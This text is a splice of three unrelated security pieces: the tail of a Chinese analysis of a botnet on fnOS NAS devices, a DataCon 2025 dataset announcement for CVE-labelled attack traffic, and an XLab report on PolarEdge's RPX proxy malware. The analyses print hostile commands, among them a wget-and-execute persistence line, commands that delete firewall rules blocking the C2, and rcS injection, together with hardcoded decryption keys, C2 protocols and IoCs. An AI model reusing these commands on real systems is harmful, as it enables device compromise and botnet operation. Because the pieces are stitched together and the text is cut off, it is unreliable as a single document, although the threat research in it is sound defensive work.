/var/log/secure.*.gz
/var/log/messages
/var/log/messages.1
/var/log/messages-*
/var/log/messages.*.gz
/run/log/journal/
/var/log/journal/
/var/log/wtmp
/var/log/btmp
/var/log/lastlog
/var/log/audit/audit.log
/var/log/audit/audit.log.*

http后门

监听本地端口57132，实现http后门，可执行任意指令

method: GET
path: /api
arg: log

后门通过解密参数hex字符串得到要执行的指令，若执行成功会返回"OK"

阻止更新与恢复

1. 通过修改hosts劫持飞牛os更新域名到0.0.0.0

apiv2-liveupdate.fnnas.com
update-service.test.teiron-inc.cn

2. 关闭用于系统恢复的服务

pkill -f sysrestore_service
pkill -f backup_service

3. 删除更新/恢复相关文件

/tmp/trim-update
/tmp/appcenter
chattr
liveupdate
backup_local
backup_remote
backup_cloud
backup_service
findmnt

持久化

下载下一阶段组件并持久化

在system_startup.sh后追加

wget http://151.240.*.*/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp

DDoS组件

该组件主要用于DDoS，同时支持任意指令执行和持久化

字符串解密

使用chacha20解密字符串表

key和nonce硬编码在样本中

KEY_HEX:
161E194B111F001D041C0E080B1A110705080D0F060A15010C141F1702031318

NONCE_HEX:
1E002A0000036E0000070106

解密出的字符串表如下：

PWNED FROM NETDRAG
sshd
/ngday
x86
/dev
/tmp
aura.kabot.icu
xd.bmlkda.icu
/etc/hosts
/etc/machine-id
/proc/sys/kernel/random/boot_id

针对几个重点字符串的说明：

1. 成功运行后会输出PWNED FROM NETDRAG
2. 修改进程名为sshd
3. 在本地监听端口(不固定，根据本地地址生成)，当读取到/ngday时退出，确保单一实例运行

隐藏自身

成功运行后会删除自身文件

通过挂载操作，隐藏或隔离当前和子进程在/proc下的信息

/proc/[PID] -> /tmp

持久化

复制自身到/sbin/gots和/usr/bin/%s

下文中的%s为文件名，botid为样本运行的第一个参数，如果无参数默认为x86

1. 在/etc/systemd/system/%s.service下创建服务

[Unit]\nDescription=AutoStart Service
After=network-online.target
Requires=network-online.target

[Service]
Type=oneshot
ExecStart= /usr/bin/%s botid
RemainAfterExit=yes
Restart=no

[Install]
WantedBy=multi-user.target

2. 通过/etc/rc.d/rc.local和/etc/rc.local实现持久化

# AutoStart
/sbin/gots botid &

C2与网络协议

随机选择硬编码在样本中的45.95.*.*或者字符串表中的aura.kabot[.icu作为C2

从4个端口中随机选择一个连接：3489, 5098, 6608, 7489

明文消息格式:

type Message{
    msgType uint8 
    pLen    uint16 
    padding uint16
    randLen uint16
    randByte []byte
    paylaoad []byte
}

消息类型和所代表的功能

协议基于ChaCha20算法实现。其核心特征在于双向独立的持久化流状态，配合硬编码密钥进行初始会话协商。

协议交互分为四个关键阶段：

1. 初始上线
   Bot 端主动发起，发送明文上线包。

由于随机函数代码bug，导致消息的随机数据长度为0同时上线包无payload，因此上线包hex为

06 00 00 00 00 00 00

2. 密钥协商与 Nonce 分发
   由服务端生成随机的单密钥和双Nonce，并采用了二次加密：

Session Key 保护：使用32 字节 Key 进行 XOR 运算后发出。

双 Nonce 机制：服务端下发两个不同的 Nonce：

NonceA：用于 Bot 端发送数据加密（服务端解密）。

NonceB：用于服务端发送数据加密（Bot 端解密）。

3. 握手验证
   这是确保 XOR 解密后的 Session Key 正确性的关键步骤：

Bot 验证：Bot 使用解出的Key和NonceA加密handshake消息发往服务端。

服务端验证：服务端解密并比对消息类型，若正确则使用Key和NonceB回复加密响应。

状态同步：Bot解密响应，若成功，则双方建立互信。

4. 确认分组与指令循环
   Bot加密发送botid消息，服务端可根据该ID对Bot进行分组

持续通信：进入指令循环阶段，Bot 持续监听服务端下发的加密指令。

隐藏DDoS行为

在接收到DDoS指令时，还会执行以下指令

mv /usr/bin/cat /usr/bin/cat2
pkill -f 'network_service|resmon_service

这意味着在进行DDoS时，无法使用系统的cat命令和网络资源监控服务，以此来隐藏DDoS行为

对抗

发现问题后，官方和部分用户发布了解决方案/脚本，但在1月31日该僵尸网络再次更新组件进行对抗

1. 删除nft和iptable中删除阻止C2连接的规则

nft list ruleset -a | grep C2IP | sed -n 's/.*table \\([^ ]*\\) \\([^ ]*\\).*handle \\([0-9]*\\).*/nft delete rule \\1 \\2 handle \\3/p' | sh
iptables -t filter -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t nat -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t mangle -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t raw -S | grep C2IP | sed 's/^-A/-D/' | sh

2. 修改webshell后门的端口为57199

3. 新的内核持久化模块async_memcpys.ko

4. 新的用户态持久化服务/etc/systemd/system/dockers.service

5. 更换新的C2基础设施

6. 使用动态的8字节KEY对样本进行加壳保护

IoC

20.89.168.131	Japan|Tokyo|Tokyo	AS8075|Microsoft Corporation

xd.killaurasleep[.top
ak.killaurasleep[.top
aura.kabot[.icu


a5dcff8289d7468f6cd4783a19f4d8d94c76170a
a50bc62f34bff2761d9117c62f172ede4c508bf7

我们很高兴地宣布，DataCon 2025 大数据安全分析竞赛的“漏洞攻击流量识别”赛题数据已经正式开放下载。该数据集包含带有 CVE 标签的真实 HTTP 流量，旨在为漏洞检测和网络安全领域的研究人员与开发者提供高质量的资源。

申请下载地址：https://www.datacon.org.cn/opendata/openpage?resourcesId=42

背景介绍

随着网络安全威胁日益严峻，及时识别并响应漏洞攻击已成为网络防御的关键。HTTP 流量作为网络通信的主要载体，承载着海量应用数据与潜在的安全风险。通过深入分析 HTTP 流量中的攻击行为，可以有效提升网络空间的整体防御能力。

然而，当前公开的网络流量数据集大多聚焦于 DDoS/XSS 等通用攻击类型识别、Stream/P2P 等协议类型识别或 Gmail/Skype 等服务类型识别。专门针对特定 CVE 漏洞攻击的 HTTP 流量数据集仍较为匮乏。本数据集旨在填补这一空白，推动相关技术的发展。

数据集描述

数据集分为训练集和测试集，分别存储于以下两个文件中：

• train.json.gz: 训练集数据
• test.json.gz: 测试集数据

两个文件均为 Gzip 压缩的 JSON Lines 格式，每行代表一个独立的 HTTP 会话。训练集包含约 4 万条会话，测试集包含约 10 万条。每条会话仅包含一条或多条 HTTP 请求的原文，不包含 HTTP 响应、IP 地址、端口号等任何其他信息。所有请求均为客户端到服务器的直接请求，不含代理流量，且均为明文，未进行 HTTPS 加密。

每个会话（即每行 JSON 对象）包含以下字段：

• id: 会话的唯一标识符。
• payload: 包含一条或多条 HTTP 请求的字符串。原始请求文本经过 zlib 压缩后，再通过 Base64 编码得到此字符串。
• labeled: 标志位，用于区分会话是否经过标注并用于竞赛评分。
  • 1: 表示该会话已经过标注，是计分的一部分。
  • 0: 表示该会话未经标注，仅作为背景流量。
• cve_labels: CVE 标签字符串。
  • 对于已标注会话 (labeled: 1)：此字段包含识别出的 CVE 列表。若未发现 CVE，则为空字符串；若发现一个 CVE，则为该 CVE 编号（如 CVE-2025-1234）；若发现多个，则为经过排序和去重的 CVE 编号列表，以空格分隔（如 CVE-2025-1234 CVE-2025-5678）。
  • 对于背景流量 (labeled: 0)：此字段恒为空字符串，但会话本身仍可能包含未被发现的漏洞。

数据集中约一半的会话被标记为 labeled: 1。在这些已标注的会话中，一半至少包含一个 CVE 标签，另一半则不包含任何 CVE 标签。整个数据集共覆盖约 1000 个不同的 CVE 编号。

注意：该数据集虽然来自 DataCon 2025 大数据安全分析竞赛“漏洞攻击流量识别”赛题，但我们对数据做了一定的删减。我们提供下载的数据是赛题实际使用的数据的一个子集，包含了大约 80% 的会话和 80% 的 CVE 标签。

标签准确性

本数据集的标签由自动化规则生成，因此可能存在少量标注错误，我们估计错误率不超过 5%。已知的标注不准确的 CVE 如下：

CVE-2020-13117 CVE-2014-5137 CVE-2017-12611 CVE-2013-4810 CVE-2022-29349 CVE-2019-10173 CVE-2018-18291 CVE-2014-6278 CVE-2021-25646 CVE-2021-40655 CVE-2025-2775 CVE-2023-43208 CVE-2023-34960 CVE-2019-14322 CVE-2020-13117 CVE-2017-17309

数据生成流程

为了生成高质量的数据集，我们首先从真实网络环境中采集 HTTP 流量，随后利用内部自动化分析系统对流量进行漏洞识别与标注。最后，我们对数据进行了一系列后处理，以满足竞赛需求。

数据采集

原始数据采集自我们的蜜罐系统。我们选取了 2024 年 7 月至 2025 年 7 月间共 13 天的数据。出于商业保密原因，我们无法透露原始数据规模和蜜罐系统详情。

我们以会话为单位捕获流量，并仅保留 HTTP 请求文本。所有数据均经过严格的脱敏处理，例如，我们将请求中出现的所有服务器 IP 地址替换为统一的占位符 redacted。以下是一个脱敏后的请求示例：

GET /+CSCOE+/logon.html HTTP/1.1
Host: redacted
User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H321 Safari/600.1.4
Accept: */*
Accept-Language: *
Connection: keep-alive

漏洞标注

所有 HTTP 会话均通过我们内部的自动化分析系统进行漏洞识别与标注。该系统基于一套精细的人工规则，能够识别多种 CVE 及非 CVE 攻击。该系统已在生产环境稳定运行多年，准确率估计在 95% 以上，召回率估计在 85% 以上。

我们在 2025 年 8 月完成了对数据的标注，因此所有标签均为该日期之前已公开的漏洞。原始识别结果包含 CVE 编号和内部非 CVE 漏洞名。大部分会话仅有一个漏洞标签，少数会话有多个，还有一部分没有识别出任何标签（可能确实没有，也可能是漏报）。

后处理

为了满足竞赛需求，我们对原始数据和标注结果进行了一系列后处理，包括筛选、去重、分组、采样和数据集划分。

筛选：我们剔除了非 HTTP 流量、加密流量和代理请求。由于我们的标注系统无法分析加密流量，因此将其移除。代理请求大多为间接流量，与赛题目标不符，也一并剔除。

去重：为消除由自动化扫描工具产生的大量重复请求，我们以会话为单位进行了去重。在去重前，我们对请求文本进行了规范化处理（例如，合并连续的空白字符、斜杠，并将数字替换为0），以识别语义上相同但文本细节有差异的重复项。

分组与过滤：我们将流量按标签分为三组：组 1 为包含至少一个 CVE 标签的会话，组 2 为仅包含非 CVE 标签的会话，组 3 为不含任何标签的会话。我们将组 1 和组 2 的会话标记为 labeled=1（已标注），组 3 标记为 labeled=0（背景流量）。竞赛评分仅针对 labeled=1 的会话，labeled=0 的会话旨在增加分析工作量，鼓励参赛者构建自动化系统。此外，为了避免漏报对评分造成影响，我们从组 1 和组 2 中剔除了所有未识别出漏洞的请求。这导致了一个重要的数据集特征：在 labeled=1 的会话中，如果包含多条请求，那么每一条请求都至少包含一个漏洞利用。这与真实场景可能有所不同。

采样：为了平衡标签分布，我们对组 1 和组 2 的会话进行了采样。原始数据中，少数热门漏洞占据了绝大多数会话。采样后，每个标签最多出现在 4000 个会话中，虽然由于部分漏洞本身罕见，数据依然不均衡，但极端倾斜的情况得到了缓解。

数据集划分：最后，我们将数据划分为训练集和测试集。对于 labeled=1 的会话，我们特意设计了标签分布：我们挑选了一部分 CVE 标签，确保测试集包含所有这些标签，而训练集仅包含其中的 45%。这意味着测试集中存在训练集未见过的 CVE 标签，旨在模拟真实世界中识别新漏洞的场景。同时，45% 的重叠度也确保了仅依赖训练数据也能取得一定分数，从而降低了比赛难度。对于 labeled=0 的会话，我们将其随机划入训练集和测试集。最后，我们移除了所有非 CVE 标签，因为它们的名称不统一，难以进行标准化评分。

竞赛概述

本数据集为 DataCon 2025“漏洞攻击流量识别”赛题的核心。参赛者需要构建一个自动化系统，识别测试集流量中的 CVE 漏洞。虽然训练集可用于模型学习，但其包含的 CVE 种类有限，不足以覆盖测试集中的所有情况。因此，为了获得高分，参赛者需要利用公开或私有的外部资源，如 Nuclei 官方模板、Exploit-DB、Suricata 规则等，来扩展模型的识别能力。我们鼓励参赛者使用任何创新的技术、方法和数据。

竞赛要求只关注 CVE 漏洞，可以忽略 DDoS、端口扫描等其他攻击类型。一个会话被判定包含某个 CVE 的标准是：该会话中至少有一个 HTTP 请求包含了针对该 CVE 的攻击载荷、存在性扫描或利用成功性验证。间接相关的流量，如探测服务版本、获取认证信息等，不应被标记为包含该 CVE，以避免大量误报。

评分规则

竞赛中，我们提供了完整的训练集，但对测试集隐藏了 labeled 和 cve_labels 字段。参赛者需提交对测试集的预测结果，最终得分由系统自动计算，公式为：最终得分 = 回答率 × 正确率 × 100。

回答率 (answer_rate) 指参赛者提交的预测标签文件中，完成分析的HTTP会话占测试流量数据中所有HTTP会话的比例。原则上预测标签文件和测试流量数据中的会话ID应该一一对应，这时回答率为100%。如果预测标签文件中出现了测试流量数据中没有的会话ID，系统将自动忽略这些会话ID。如果预测标签文件中有会话ID缺失或重复，则这些会话视为未回答，回答率将低于100%。

正确率指用户提交的预测标签文件中，HTTP 会话的CVE漏洞识别正确的程度。为此，我们需要比对用户调教的预测标签，和测试流量数据的 cve_labels 字段。我们采用 Macro F1 得分的方式来计算正确率，它对每个标签单独计算 F1 得分，然后求平均。F1 得分是精确率 (precision) 和召回率 (recall) 的调和平均数。我们只筛选部分 HTTP 会话来计算 F1 得分，筛选条件为：必须是参赛者回答了的会话，且必须是标注了 CVE 漏洞的会话 (labeled = 1)。没有标注的会话只是增加参赛者的工作量，以鼓励自动化系统，不用作正确率的计算。无论参赛者提交了什么预测标签，都不会影响正确率。注意在比赛中，测试流量数据的 labeled 字段并未公开给参赛者，但在后台评分时是可见的。因此参赛者需要分析所有HTTP会话，但正确率计算只会考虑标注了 CVE 漏洞的会话。

竞赛结果

比赛于 2025 年 11 月 5 日至 12 日举行，共吸引了 75 支队伍提交有效成绩。参赛队伍大多来自高校和科研院所，也有部分企业队伍。第一名队伍的原始得分为 67.795，排名前 15 的队伍得分均超过 50 分。

参赛队伍采用了多样化的技术方案。大部分队伍选择了机器学习与深度学习，通过提取自定义特征（如请求方法、XSS特征）、TF-IDF、词嵌入等方法，结合逻辑回归、TextCNN、BiLSTM 等模型进行分类。部分队伍则采用基于特征的相似度匹配或规则系统。此外，一些队伍利用大语言模型（LLM）自动生成 Suricata 规则或关键词规则。

为了提升召回率，许多队伍整合了外部数据资源，除赛题推荐的 Nuclei 官方模板、Exploit-DB 和 Suricata 规则外，还利用了 GitHub 上的非官方漏洞模板、Fscan/Qscan 等扫描器、 NVD/ScienceDB 等漏洞信息平台、securityfocus 等安全社区资源。

隐私声明

我们公开的数据集，以及未经后处理的原始数据集，采集于我们的蜜罐系统，不涉及任何我司用户的隐私。

参考资料

• DataCon 2025 大数据安全分析竞赛：https://www.datacon.org.cn/datacon-ui-competition/competitions/114/major-ranking?categoryId=249
• Nuclei 官方模板库：https://github.com/projectdiscovery/nuclei-templates
• Exploit-DB 漏洞数据库：https://gitlab.com/exploit-database/exploitdb
• Suricata 网络入侵检测系统：https://suricata.io/

On May 30, 2025, XLab's Cyber Threat Insight and Analysis System(CTIA) detected IP address 111.119.223.196 distributing an ELF file named "w". The AI detection module flagged the file as PolarEdge-related, yet it returned zero positive hits on VirusTotal—sparking speculation that PolarEdge might have quietly launched a new wave of operations. Curious to verify this, we launched an in-depth investigation. Through targeted correlation analysis, we uncovered RPX_Client, a component never before documented publicly. Its core functions include onboarding compromised devices into the proxy pool of designated C2 nodes, providing proxy services, and enabling remote command execution.

PolarEdge was first disclosed by Sekoia on February 25, 2025. It exploits vulnerable IoT/edge devices and purchased VPS to build an Operational Relay Box (ORB) network for cybercrime support. Functionally akin to residential proxies, ORB focuses on long-term stealth and traffic obfuscation—a classic infrastructure-as-a-service malware.

ORB excels at evasion, source hiding, and attribution complexity, making it favored by APT actors and a 2025 cybersecurity hotspot. Mandiant even coined "As the ORBs rise, the IOC goes extinct" arguing ORBs undermine traditional indicators in detection and attribution.

In August/September 2025, Censys published two PolarEdge reports, using certificate links to analyze infrastructure. Their September 23 report revealed RPX_SERVER, a reverse-proxy gateway. Confidence in tying it to PolarEdge waned after learning the certificates were from legacy Mbed TLS 3.4.0 (formerly PolarSSL).

Censys Note:
"We were recently informed by a community member that the certificate highlighted in earlier versions of this research is also present in older versions of Mbed TLS, version 3.4.0, previously known as PolarSSL. Additionally, the TLS certificate we had associated with the “PolarEdge” malware also originates from the same Mbed TLS repository. This new context reduces the confidence of the evidence linking the exposure footprint or the RPX server we analyzed directly to PolarEdge."

However, from Xlab’s perspective, we have high confidence in attributing the PolarSSL test certificate infrastructure and RPX_Server mentioned in Censys’ original report to PolarEdge. This judgment is primarily based on unique intelligence from the captured RPX_Client sample, with the following specific evidence:

• The coding style of the scripts spreading RPX_Client, along with the ELF sample w, exhibits clear homology with known PolarEdge samples.

• RPX_Client and RPX_Server are highly complementary in functionality — as their names suggest, they form a classic client-server relationship.

• A database from one RPX_Server contains records of RPX_Client distribution via 111.119.223.196.

• Some servers using PolarSSL test certificates correctly handle RPX_Client requests and are confirmed to host RPX_Server instances.

The successive discoveries of RPX_Server and RPX_Client have enabled us to delve deeper into PolarEdge’s relay operations and infrastructure. The results are promising:

• Operationally, we have gradually clarified how PolarEdge leverages RPX_Server, Go-Admin, and Nginx for node management and traffic distribution.
• Infrastructurally, we have identified 140 C2 servers and uncovered over 25,000 infected devices.

However, we must acknowledge that no single vendor has complete visibility — thorough threat analysis inevitably requires broad industry collaboration. To advance research on the PolarEdge ORB network, we are publishing these findings to the community, hoping that the combined efforts of Sekoia, Censys, and Xlab will lay a foundation for deeper future exploration of PolarEdge.

1: Infrastructure & Scale

RPX Server: 140 VPS Nodes

We captured 10 RPX Server IPs across different periods via script q. All use port 55555 and share the same public PolarSSL test certificate.

Using the pattern certificate + port 55555, we identified 161 candidate IPs. After validating with the reverse-engineered communication protocol, 140 were confirmed as active RPX Servers.

These 140 servers exhibit interesting characteristics: they are all VPS nodes, concentrated in ASNs 45102, 37963, and 132203, and hosted on Alibaba Cloud and Tencent Cloud.

Reverse engineering also revealed an API that exports proxy pool nodes into Clash configuration files, enabling use by attackers or specific campaigns.

RPX Client: 25,000+ Infected Devices

Through technical means, we obtained partial RPX_Client datasets. The data includes fields such as IP, brand, createAt, and onlineTime, enabling in-depth analysis of PolarEdge RPX across multiple dimensions: infection scale, geographic distribution, and device types.

# RPX Client Data Example
{
  "id": 4,
  "uuid": "6cee47cf79f94dc4bf2b867028fc{mask}",
  "ip": "12x.18x.18x.23x",
  "onlineTime": "2025-10-16T14:34:27+08:00",
  "antiConnTotal": "0",
  "antiConnNum": "0",
  "antiConnState": "1",
  "antiConnTime": "0001-01-01T00:00:00Z",
  "brand": "ktcctv_1",
  "version": "0.0.13",
  "heartbeat_time": "60",
  "no_response_num": "1",
  ...
  "createdAt": "2025-10-16T14:34:13+08:00",
  "updatedAt": "2025-10-20T13:08:04+08:00",
  "createBy": 0,
  "updateBy": 0
}

Statistics show that since July 2024, over 25,000 IPs have been cumulatively infected, with the infection scale showing a sustained upward trend.

Infected devices are distributed across 40 countries and regions, primarily concentrated in Southeast Asia and North America.

The top 10 countries are: South Korea 41.97%, China 20.35%, Thailand 8.37%, Malaysia 5.98%, India 3.79%, Israel 3.73%, USA 3.69%, Vietnam 2.56%, Indonesia 2.12%, Russia 1.19%.

RPX_Client uses the brand field when reporting to the server to identify device grouping or type. The primary infected devices are ktcctv and tvt, accounting for over 90%.

Below is the mapping of group strings to real device types.

2: Timeline & Attribution

Capture Timeline of New Scripts

• April 27, 2025: Attackers exploited CVE-2023-20118 via 111.119.223.196 to spread a script named s. Due to network issues, the script was not captured.

• May 30, 2025: IP 111.119.223.196 distributed an ELF file w at 111.119.223.196:51715/w. This file was first seen on December 25, 2023, spread by 82.118.22.155. Analysis of 82’s activity revealed a clear chain: script a → w → script q.

Inspired by this, we proactively monitored 111.119.223.196:51715/q in Xlab’s Payload system.

• June 2, 2025: Successfully captured script q, which delivered the core subject of this research — rpx_client. Notably, IP 111 provided intermittent downloads; q was not persistently available.

Attribution to PolarEdge

• Role of 82.118.22.155

VirusTotal shows 82.118.22.155 spread shell script a and ELF w in December 2023, marking it as a likely downloader server. PDNS records reveal domain beastdositadvtofm[.]site resolved to this IP during the same period. Its CNAME chained to jurgencindy.asuscomm.com — the same host pointed to by Sekoia-disclosed C2s icecreand[.]cc and centrequ[.]cc. These strong links confidently tie the domain and IP to PolarEdge infrastructure.

Recently, while cataloging PolarEdge samples, we found conclusive evidence: both the domain and IP appear in the decrypted C2 config of PolarEdge backdoor sample 3e5e99b77012206d4d4469e84c767e6b. Thus, 82.118.22.155 was PolarEdge infrastructure in December 2023; samples a and w were likely used to fetch PolarEdge payloads. Both of them were developed by the PolarEdge group and exhibit attribution-worthy traits.

• ELF Sample Similarity

The new w includes two unencrypted sections: xxxx and cccc. Known PolarEdge samples use encrypted sections init_text and init_rodata. Despite encryption differences, the addition of custom sections reflects consistent design philosophy.

Crucially, w’s parameter strings and HTTP fields (e.g., Host, User-Agent) are highly distinctive and share clear homology with PolarEdge backdoors. We assess w as a stripped connect-back module from the PolarEdge core, dedicated to payload retrieval. This is reinforced by its sole supported mode "curk" — likely a misspelling (or playful nod) to curl, underscoring its role as a downloader.

• Script Similarity

Both 111.119.223.196 and 82.118.22.155 spread w, and their propagation scripts are nearly identical in style and structure.

So we confirm that IP 111.119.223.196 is PolarEdge infrastructure. The RPX_Client sample, spread via scripts q and w in this campaign, is attributed to PolarEdge and represents the first identified relay component of this threat.

3: Technical Analysis

Functionality of Script q

We captured a total of 11 script q variants with distinct hashes. Despite the use of obfuscation, analysis was straightforward. All variants share nearly identical functionality: their purpose is to download and execute the RPX component, differing only in the C2 address.

• Download wget.tar

Uses w to download wget.tar. Note the parameters of w: m indicates mode, h is the remote host, e is the port, f is the local path, and q is the remote path.

The wget.tar archive contains two files: rpx and rpx.sh. Among them, rpx is the core analysis subject of this article, i.e., rpx_client; while rpx.sh is a persistence script. By executing the command echo "/bin/sh /mnt/mtd/rpx.sh &" >> /etc/init.d/rcS, it injects rpx.sh into the rcS initialization script, thereby achieving persistent residency.

• Launch RPX Core Component

rpx adds the compromised device to the ORB network. Its first parameter is the control node IP, the second is the port, and the third is brand, likely indicating grouping. Across the 11 q scripts, we collected 10 unique control node IPs, all using port 55555.

RPX System Deep Dive

• RPX Server Node

RPX server nodes typically run four core services: RPX_Server, Nginx, Go-Admin, and Go-Shadowsocks. Among them, RPX_Server and the customized Go-Admin are key PolarEdge components — RPX_Server acts as the worker node, handling actual proxy services; Go-Admin serves as the administrator node, managing node registration, session validation, command distribution, and Clash configuration export for third-party use. Nginx operates in reverse proxy mode, forwarding traffic from port 19999 to the Go-Admin service, while Go-Shadowsocks is dedicated to providing Shadowsocks proxy service.

These services produce distinct network fingerprints:

• RPX Server

In brief, RPX Server is a reverse-connection proxy gateway. Its core mechanism: it does not connect directly to the target, but instead schedules a registered proxy node to connect to the target, which then establishes a reverse connection back to a dynamically allocated temporary port on the gateway. Traffic between the client and target is transparently bridged on this port.

This is demonstrated in a live test: we ran RPX_Client on a Japan test host 45.x.x.8 and registered it with RPX Server node 8.216.14.9. Then, from a local machine, we connected a go-shadowsocks client to this control node and queried the exit IP via ipinfo.io.

Although go-shadowsocks logs show the path as
Local proxy ←→ RPX Server ←→ ipinfo.io,
the actual IP returned by curl --socks5 reveals the true full path:
Local proxy ←→ RPX Server ←→ RPX Client (45.x.x.8) ←→ ipinfo.io. In real-world attacks, this multi-hop design effectively conceals the attack source.

The server accepts two runtime parameters: the first is the port for interacting with RPX_Client, and the second is the base port for proxy services, which enables three protocols — SOCKS5 on the base port, SOCKS5 over TLS on base+1, and Trojan on base+2. Observed values are 55555 and 55556, respectively. Implementation details of RPX Server have been thoroughly covered in Censys reports; this article does not repeat them, and interested readers are encouraged to consult those publications.

• RPX Client

We captured a total of 4 RPX_Client samples: three from IP 111.119.223.196 (all ARM architecture) and one from VirusTotal (MIPS architecture), indicating additional distribution channels in the wild. All four samples are version 0.0.13, which, according to current statistics, is the dominant version in active use.

Among the 4 samples, 7fa5fb15098efdf76e4c016e2e17bb38 stands out because it prints debug information to the console at runtime. We selected it as the primary analysis target. Its basic details are as follows:

MD5: 7fa5fb15098efdf76e4c016e2e17bb38
MAGIC: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
PACKER: None

RPX_Client acts as a jumpserver in the ORB — confirmed by leaked source paths and runtime logs.

Its functional design is relatively straightforward. After compromising the target device, the program first disguises its process name as connect_server and uses the PID file /tmp/.msc to enforce single-instance execution, preventing duplicate startups. It then attempts to read the global configuration file .fccq to obtain key parameters such as the C2 server address, communication port, device UUID, and brand information. If the configuration file does not exist, it encrypts the runtime-passed parameters and saves them to .fccq for subsequent use.

After completing configuration initialization, RPX_Client establishes two independent network connections to the C2 server for different tasks:

• One connects to the port specified by the PORT parameter (listened by RPX_Server) for node registration and traffic proxying
• The other connects to the fixed port 55560 (listened by go-admin) for remote command execution

Decrypting .fccq Config

On first run, RPX_Client encrypts the parameters and saves them to the .fccq file in the same directory using single-byte XOR with 0x25. A real-world example of the generated config, when decrypted, contains the fields UUID, C2, PORT, BRAND, version.

Port 55555: Registration & Proxy

When RPX_Client first joins the network, it must obtain a server-generated UUID as its identity. The network interaction flow is as follows:

1. Bot → C2: 33 bytes → flag(1 byte) + uuid(32 bytes)
2. Bot → C2: 32 bytes → brand(16 bytes) + version(16 bytes)
3. C2 → Bot: 33 bytes → flag(1 byte) + uuid(32 bytes)

When the flag in the C2 response is 0x01, it indicates UUID acceptance; the bot saves this UUID to the config file for future use.

It then awaits further C2 commands to provide proxy services. The command structure is:

struct Protocol
{
  uint16_t magic;
  uint16_t port;
  uint16_t dst_port;
  uint16_t dest_length;
  char     destination[256];
};

The magic field defines the bot’s function, with possible values: 0x11, 0x12, 0x16.

Our Xlab command tracking system emulates this protocol. Statistics show no specific targeting — traffic is mostly to QQ, WeChat, Google, and Cloudflare.

Port 55560: Remote Command Execution

RPX_Client connects to the server’s port 55560, sends its UUID to authenticate, and receives remote commands. The interaction flow is:

1. Bot → C2: 11 bytes, fixed string "xa2axasexqx"
2. Bot → C2: 32 bytes, UUID
3. C2 → Bot: 4 bytes, command payload length
4. C2 → Bot: command payload, specified by the "cmd" field

Beyond standard system commands, the sample includes two special built-in commands:

• change_pub_ip – updates the C2 server address
• update_vps – performs sample self-upgrade

Leveraging UUID-based authentication and remote command execution, PolarEdge operators achieve fine-grained control and flexible scheduling of proxy nodes — enabling on-demand task reassignment, role switching, or rapid migration of the entire proxy pool to a new C2 when one is exposed.

While our command tracking system currently only captures simple heartbeat commands like echo hello, server logs clearly show real executions of change_pub_ip.

Additionally, logs contain commands tied to 111.119.223.196, confirming it not only served as a download server but also as a reverse shell c2 — providing definitive proof that this IP is PolarEdge infrastructure and validating our initial assessment at the start of this report.

Summary

Our analysis of the RPX system concludes here with the key findings to date. RPX_Client offers a glimpse into PolarEdge’s relay mechanism, while RPX_Server and Go-Admin reveal—for the first time—the management tools and infrastructure behind this threat. In this architecture, a vast pool of compromised IoT devices serves as proxy nodes, complemented by server nodes built on inexpensive VPS, forming two robust barriers that provide attackers with effective cover and greatly increase the difficulty of tracking by security personnel.

Due to limited visibility, the specific connections and interactions between PolarEdge backdoor samples and the RPX system remain an open question. We sincerely welcome industry peers with additional information to share their insights and jointly advance the understanding and defense against such threats.

If you are interested in our research or have clues related to PolarEdge, please feel free to contact us via the X platform.

IOC

PolarEdge RPX C2

# From q script

47[.79.7.193	United States|Virginia|Ashburn	AS45102|Alibaba Cloud
47[.236.38.206	United States|None|None	AS45102|Alibaba Cloud
47[.236.230.216	United States|None|None	AS45102|Alibaba Cloud
47[.237.26.232	United States|None|None	AS45102|Alibaba Cloud
47[.237.70.132	United States|None|None	AS45102|Alibaba Cloud
47[.76.214.52	China|Hongkong|Hongkong	AS45102|Alibaba Cloud
43[.128.226.160	Japan|Tokyo|Tokyo	AS132203|Tencent
129[.226.216.242	Singapore|Singapore|Singapore	AS132203|Tencent
8[.211.172.183	Japan|Tokyo|Tokyo	AS45102|Alibaba Cloud
159[.138.90.5	Singapore|Singapore|Singapore	AS136907|HUAWEI

# From Hunter

8[.219.214.27	AS45102 Alibaba (US) Technology Co., Ltd.
8[.153.163.19	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.153.205.139	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.153.207.128	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.129.39	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.130.12	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.135.220	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.136.155	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.159.139.71	AS37963 Hangzhou Alibaba Advertising Co.,Ltd.
8[.216.14.9	AS45102 Alibaba (US) Technology Co., Ltd.

PolarEdge Backdoor C2

beastdositadvtofm[.site
missionim[.cc
icecreand[.cc 
centrequ[.cc

Downloader

82[.118.22.155	Poland|Pomorskie|Gdansk	AS204957|GREEN FLOID LLC
111[.119.223.196	Singapore|Singapore|Singapore	AS136907 HUAWEI CLOUDS|

RPX Sample

# Script q
96b3be4cf3ad232ca456f343f468da0e

# RPX Server
1fb2dfb09a31f0e8c63cc83283532f06

# RPX Client
7fa5fb15098efdf76e4c016e2e17bb38
571088182ed7e33d986b3aa2c51efd27

Certificates

# 3f00058448b8f7e9a296d0cdf6567ceb23895345eae39d472350a27b24efe999

-----BEGIN CERTIFICATE-----
MIIFmTCCBIGgAwIBAgIQA/0Ssnj2KNvPpAAwE8RHPTANBgkqhkiG9w0BAQsFADBu
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMS0wKwYDVQQDEyRFbmNyeXB0aW9uIEV2ZXJ5d2hlcmUg
RFYgVExTIENBIC0gRzEwHhcNMTgxMTI3MDAwMDAwWhcNMTkxMTI3MTIwMDAwWjAd
